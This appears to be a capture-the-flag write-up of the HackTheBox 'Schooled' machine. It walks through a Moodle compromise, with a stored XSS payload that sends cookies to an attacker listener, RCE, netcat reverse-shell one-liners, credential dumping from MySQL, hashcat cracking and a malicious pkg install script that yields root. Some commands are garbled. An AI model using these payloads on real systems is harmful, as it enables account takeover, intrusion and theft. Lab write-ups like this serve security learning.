namp Scan:

22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9 (FreeBSD 20200214;
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.46 ((FreeBSD)
Service Info: OS: FreeBSD;

port 80 serves a web service, which says All content will be delivered over Moodle.

enumerating its subdomain

gobuster dns -d -w su 0 -i

Lets get it :)
So Lets enumerate more…

Once we enroll the courses we can see some instructions.

MoodleNet profiles to be set hmm…
lets check some exploits for moodle

Ah we got some xss, lets check that out

Stored XSS Works as intended.

So as the maths teacher said he will be checking the profile id, so using stored xss we can steal cookies and login as that teacher.
XSS Payload

<img src='x' onerror='fetch("http://[IP]/?data=" + btoa(document.cookie));'>sudo python3 -m http.server <port>

So replacing my cookie with teachers cookie, we can take over the teachers

Hmm.. there is a RCE vulnerability


Using this Vulnerability, we were able to do RCE, to get a shell we will be using webwrap.

python3 http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=WRAP

and netcat to get a proper stable shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port>>/tmp/f

Enumerating we can see that there are two users

We don’t have access though, enumerating, we can see moodle uses mysql, so find config.php of model revels the mysql username and password


Locating mysql, /usr/local/bin

./mysql -u moodle -pPlaybookMaster2020 -D moodle -e 'SELECT username, password FROM mdl_user ORDER BY username;'

Gives admin username and password, cracking the password with hashcat

hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt

Login as admin we can see that

So he is one of the user which we found, SSH this user

Enumerating, we can see that we have sudo permission for package install,

rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
# careful here, this may clobber your system
echo “Resetting root shell”
rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 9080 >/tmp/a
# careful here, this may clobber your system
echo “Registering root shell”
pw usermod -n root -s /bin/sh
name: mypackage
version: “1.0_5”
origin: sysutils/mypackage
comment: “automates stuff”
desc: “automates tasks which can also be undone later”
prefix: /
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -o .

mkdir /temp/package

Installing this package gives us the super user shell

Dev Dominus | Cyber security Enthusiast | Programming For Fun